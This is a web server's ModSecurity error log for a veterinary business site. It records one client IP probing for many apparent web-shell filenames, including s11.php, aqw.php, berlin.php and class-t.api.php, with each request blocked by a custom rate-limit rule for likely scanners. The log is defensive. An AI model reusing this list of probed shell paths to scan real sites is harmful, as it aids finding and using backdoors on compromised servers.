[Sun Dec 28 21:14:55.104140 2025] [:error] [pid 29388:tid 29414] [client 74.225.139.234:19481] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aVEtT9oLv2L2zI_SpdX1OAAAAVI"]
[Sun Dec 28 21:14:55.664500 2025] [:error] [pid 29388:tid 29397] [client 74.225.139.234:19546] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s11.php"] [unique_id "aVEtT9oLv2L2zI_SpdX1PAAAAUE"]
[Sun Dec 28 21:14:56.187778 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:19555] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s11.php"] [unique_id "aVEtULchzOOtNL9VPNIP-gAAAZM"]
[Sun Dec 28 21:14:56.607685 2025] [:error] [pid 42293:tid 42344] [client 74.225.139.234:19574] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s11.php"] [unique_id "aVEtUMvc9B-5cwN385L_CwAAAFU"]
[Sun Dec 28 21:14:56.952650 2025] [:error] [pid 43789:tid 43805] [client 74.225.139.234:19549] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s11.php"] [unique_id "aVEtUAa-tUppni4CcCZILQAAAQ4"]
[Sun Dec 28 21:14:57.626793 2025] [:error] [pid 42293:tid 42345] [client 74.225.139.234:19541] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dir.php"] [unique_id "aVEtUcvc9B-5cwN385L_DQAAAFY"]
[Sun Dec 28 21:14:58.492199 2025] [:error] [pid 43789:tid 43812] [client 74.225.139.234:19569] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dir.php"] [unique_id "aVEtUga-tUppni4CcCZIMQAAARU"]
[Sun Dec 28 21:14:59.010709 2025] [:error] [pid 42293:tid 42334] [client 74.225.139.234:19465] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dir.php"] [unique_id "aVEtU8vc9B-5cwN385L_EAAAAEs"]
[Sun Dec 28 21:14:59.469643 2025] [:error] [pid 29437:tid 29480] [client 74.225.139.234:19482] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dir.php"] [unique_id "aVEtUxhDotAbVk6pZLfZ-gAAAc4"]
[Sun Dec 28 21:15:00.047419 2025] [:error] [pid 29436:tid 29455] [client 74.225.139.234:19539] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVEtVLchzOOtNL9VPNIQAwAAAZA"]
[Sun Dec 28 21:15:00.584790 2025] [:error] [pid 29436:tid 29446] [client 74.225.139.234:19468] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVEtVLchzOOtNL9VPNIQBAAAAYc"]
[Sun Dec 28 21:15:01.214086 2025] [:error] [pid 29436:tid 29457] [client 74.225.139.234:13288] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVEtVbchzOOtNL9VPNIQCQAAAZI"]
[Sun Dec 28 21:15:02.041729 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:19485] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVEtVrchzOOtNL9VPNIQDAAAAZg"]
[Sun Dec 28 21:15:02.565957 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:19554] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVEtVrchzOOtNL9VPNIQDQAAAYQ"]
[Sun Dec 28 21:15:03.165782 2025] [:error] [pid 42293:tid 42342] [client 74.225.139.234:19477] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVEtV8vc9B-5cwN385L_FAAAAFM"]
[Sun Dec 28 21:15:03.583792 2025] [:error] [pid 29437:tid 29484] [client 74.225.139.234:19460] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVEtVxhDotAbVk6pZLfaAQAAAdI"]
[Sun Dec 28 21:15:04.512608 2025] [:error] [pid 29436:tid 29450] [client 74.225.139.234:19520] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVEtWLchzOOtNL9VPNIQEAAAAYs"]
[Sun Dec 28 21:15:05.961742 2025] [:error] [pid 42378:tid 42402] [client 74.225.139.234:19560] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file51.php"] [unique_id "aVEtWTgtcN-KHAjWrX8tdwAAANY"]
[Sun Dec 28 21:15:06.508448 2025] [:error] [pid 29388:tid 29414] [client 74.225.139.234:19530] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file51.php"] [unique_id "aVEtWtoLv2L2zI_SpdX1RwAAAVI"]
[Sun Dec 28 21:15:07.288772 2025] [:error] [pid 42293:tid 42334] [client 74.225.139.234:19474] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file51.php"] [unique_id "aVEtW8vc9B-5cwN385L_HgAAAEs"]
[Sun Dec 28 21:15:07.683722 2025] [:error] [pid 42378:tid 42404] [client 74.225.139.234:19542] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file51.php"] [unique_id "aVEtWzgtcN-KHAjWrX8tewAAANg"]
[Sun Dec 28 21:15:08.020749 2025] [:error] [pid 29437:tid 29467] [client 74.225.139.234:19466] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVEtXBhDotAbVk6pZLfaCQAAAcE"]
[Sun Dec 28 21:15:08.728653 2025] [:error] [pid 43789:tid 43802] [client 74.225.139.234:19473] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVEtXAa-tUppni4CcCZINwAAAQs"]
[Sun Dec 28 21:15:09.405750 2025] [:error] [pid 42378:tid 42387] [client 74.225.139.234:19521] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVEtXTgtcN-KHAjWrX8tfAAAAMc"]
[Sun Dec 28 21:15:09.872413 2025] [:error] [pid 29436:tid 29452] [client 74.225.139.234:19551] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVEtXbchzOOtNL9VPNIQEgAAAY0"]
[Sun Dec 28 21:15:10.508207 2025] [:error] [pid 29388:tid 29403] [client 74.225.139.234:19480] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fclas.php"] [unique_id "aVEtXtoLv2L2zI_SpdX1TAAAAUc"]
[Sun Dec 28 21:15:11.133853 2025] [:error] [pid 42293:tid 42339] [client 74.225.139.234:19576] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fclas.php"] [unique_id "aVEtX8vc9B-5cwN385L_JQAAAFA"]
[Sun Dec 28 21:15:11.454808 2025] [:error] [pid 42293:tid 42344] [client 74.225.139.234:19556] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fclas.php"] [unique_id "aVEtX8vc9B-5cwN385L_KAAAAFU"]
[Sun Dec 28 21:15:11.823219 2025] [:error] [pid 29388:tid 29407] [client 74.225.139.234:19557] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fclas.php"] [unique_id "aVEtX9oLv2L2zI_SpdX1UAAAAUs"]
[Sun Dec 28 21:15:12.880217 2025] [:error] [pid 42378:tid 42390] [client 74.225.139.234:19540] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/File.php"] [unique_id "aVEtYDgtcN-KHAjWrX8tgAAAAMo"]
[Sun Dec 28 21:15:13.348380 2025] [:error] [pid 29437:tid 29477] [client 74.225.139.234:19467] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/File.php"] [unique_id "aVEtYRhDotAbVk6pZLfaDgAAAcs"]
[Sun Dec 28 21:15:13.951755 2025] [:error] [pid 29436:tid 29460] [client 74.225.139.234:19544] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/File.php"] [unique_id "aVEtYbchzOOtNL9VPNIQGwAAAZU"]
[Sun Dec 28 21:15:14.510057 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:19458] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/File.php"] [unique_id "aVEtYrchzOOtNL9VPNIQIAAAAZM"]
[Sun Dec 28 21:15:14.901509 2025] [:error] [pid 29436:tid 29442] [client 74.225.139.234:19516] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/all.php"] [unique_id "aVEtYrchzOOtNL9VPNIQIwAAAYM"]
[Sun Dec 28 21:15:15.276808 2025] [:error] [pid 42292:tid 42310] [client 74.225.139.234:19577] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/all.php"] [unique_id "aVEtY5yOrM_vaFx1osZcqAAAAA4"]
[Sun Dec 28 21:15:15.847129 2025] [:error] [pid 29437:tid 29466] [client 74.225.139.234:19472] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/all.php"] [unique_id "aVEtYxhDotAbVk6pZLfaEQAAAcA"]
[Sun Dec 28 21:15:16.555267 2025] [:error] [pid 29436:tid 29451] [client 74.225.139.234:19497] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/all.php"] [unique_id "aVEtZLchzOOtNL9VPNIQJQAAAYw"]
[Sun Dec 28 21:15:17.436006 2025] [:error] [pid 29437:tid 29485] [client 74.225.139.234:19462] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bbn.php"] [unique_id "aVEtZRhDotAbVk6pZLfaGwAAAdM"]
[Sun Dec 28 21:15:17.921461 2025] [:error] [pid 43789:tid 43794] [client 74.225.139.234:19502] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bbn.php"] [unique_id "aVEtZQa-tUppni4CcCZIPwAAAQM"]
[Sun Dec 28 21:15:18.417220 2025] [:error] [pid 29437:tid 29479] [client 74.225.139.234:19519] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bbn.php"] [unique_id "aVEtZhhDotAbVk6pZLfaIgAAAc0"]
[Sun Dec 28 21:15:18.783712 2025] [:error] [pid 29437:tid 29469] [client 74.225.139.234:19581] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bbn.php"] [unique_id "aVEtZhhDotAbVk6pZLfaIwAAAcM"]
[Sun Dec 28 21:15:19.292731 2025] [:error] [pid 42378:tid 42385] [client 74.225.139.234:13261] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/berlin.php"] [unique_id "aVEtZzgtcN-KHAjWrX8thgAAAMU"]
[Sun Dec 28 21:15:19.750013 2025] [:error] [pid 42378:tid 42393] [client 74.225.139.234:19457] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/berlin.php"] [unique_id "aVEtZzgtcN-KHAjWrX8tiAAAAM0"]
[Sun Dec 28 21:15:20.296025 2025] [:error] [pid 42294:tid 42372] [client 74.225.139.234:19579] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/berlin.php"] [unique_id "aVEtaNTE5kYcYCOzl9HQKQAAAJY"]
[Sun Dec 28 21:15:20.680927 2025] [:error] [pid 42294:tid 42359] [client 74.225.139.234:13260] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/berlin.php"] [unique_id "aVEtaNTE5kYcYCOzl9HQKwAAAIk"]
[Sun Dec 28 21:15:21.091415 2025] [:error] [pid 42293:tid 42343] [client 74.225.139.234:19559] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVEtacvc9B-5cwN385L_LgAAAFQ"]
[Sun Dec 28 21:15:21.477380 2025] [:error] [pid 29388:tid 29413] [client 74.225.139.234:19543] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVEtadoLv2L2zI_SpdX1VwAAAVE"]
[Sun Dec 28 21:15:21.914729 2025] [:error] [pid 42293:tid 42346] [client 74.225.139.234:13259] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVEtacvc9B-5cwN385L_LwAAAFc"]
[Sun Dec 28 21:15:22.336063 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:19483] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aVEtarchzOOtNL9VPNIQLwAAAZM"]
[Sun Dec 28 21:15:23.635099 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:13258] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz89.php"] [unique_id "aVEta7chzOOtNL9VPNIQMgAAAZg"]
[Sun Dec 28 21:15:24.467511 2025] [:error] [pid 42294:tid 42350] [client 74.225.139.234:13300] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz89.php"] [unique_id "aVEtbNTE5kYcYCOzl9HQMAAAAIA"]
[Sun Dec 28 21:15:25.035791 2025] [:error] [pid 29437:tid 29472] [client 74.225.139.234:19470] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz89.php"] [unique_id "aVEtbRhDotAbVk6pZLfaLAAAAcY"]
[Sun Dec 28 21:15:25.670427 2025] [:error] [pid 29437:tid 29480] [client 74.225.139.234:19548] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xz89.php"] [unique_id "aVEtbRhDotAbVk6pZLfaLwAAAc4"]
[Sun Dec 28 21:15:26.128108 2025] [:error] [pid 42292:tid 42318] [client 74.225.139.234:13254] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thai.php"] [unique_id "aVEtbpyOrM_vaFx1osZctgAAABY"]
[Sun Dec 28 21:15:26.596394 2025] [:error] [pid 42293:tid 42335] [client 74.225.139.234:19459] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thai.php"] [unique_id "aVEtbsvc9B-5cwN385L_NgAAAEw"]
[Sun Dec 28 21:15:27.607949 2025] [:error] [pid 29437:tid 29484] [client 74.225.139.234:19515] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thai.php"] [unique_id "aVEtbxhDotAbVk6pZLfaMQAAAdI"]
